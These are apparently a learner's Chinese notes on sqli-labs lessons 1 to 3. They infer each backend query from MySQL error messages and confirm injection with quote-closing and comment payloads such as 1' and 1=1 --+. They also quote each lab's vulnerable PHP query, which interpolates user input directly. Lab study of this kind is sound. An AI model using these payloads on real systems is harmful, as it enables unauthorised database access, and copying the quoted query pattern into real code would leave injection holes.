**
lesson 1&2&3
**
lesson1
根据报错信息 推导 php语句
注入
?id=1 成功显示
?id=1’ 报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1’ at line 1
猜测
SELECT username,password from table where id = input
?id=1\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1\’ LIMIT 0,1’ at line 1
”1\’ LIMIT 0,1’ at line 1
“程序最外层的单引号是用来标识错误的”
’ ‘1\’ LIMIT 0,1 ’ at line 1
’ ’ 1\’ LIMIT 0,1 ’ at line 1
1\是我们输入的
但还有两个单引号 所以sql语句应该是这样的
select username,password from table where id= 'input'
插入攻击代码
select username,password from table where id= 'input 攻击代码'
第一种方法 单引号闭合
id=1' and '1='1
select username,password from table where id='1' and '1='1'
第二种方法
注释 -- --后面加空格用来注释 我们可以用+避免遗漏
id=1' and 1=1 --+
select username,password from table where id= '1' and 1=1 --+'(--+之后注释掉了)
测试
我们测试一下 and ‘1’=’1 与 and ‘1’=‘2
发现and ‘1’=‘2 返回错误 可以判断存在sql 注入
同理测试 第二种方法 注释
查看sql--lab --less1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
**
lesson2
**
id= 1
id= 1’
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1’ at line 1
id=1\
near ‘\ LIMIT 0,1’ at line 1
id=1’\
”\ LIMIT 0,1’ at line 1
猜测
select username,password from table where id= input
查看lesson2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
sql语句 LIMIT m,n
指从m+1条开始取 n 条记录
eg.
LIMIT 2,4
取出第3条到第6条之间的记录 共4条 不够的话能返回几条就返回几条
lesson3
id=1可以猜测
select usename,password from table where id= input
id=1’
报错 near ”1”) LIMIT 0,1’ at line 1
near ’ ’ 1’ ‘) LIMIT 0,1’ at line 1
测试 =1’) and (‘1’=1’ 成功
测试 =1’) and 1=1 –+ 成功
测试 =1’) and 1=2 –+ 返回错误 存在sql注入
猜测
select usename,paseeword from table where id =(‘input’)
查看 lesson3 sql 语句
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";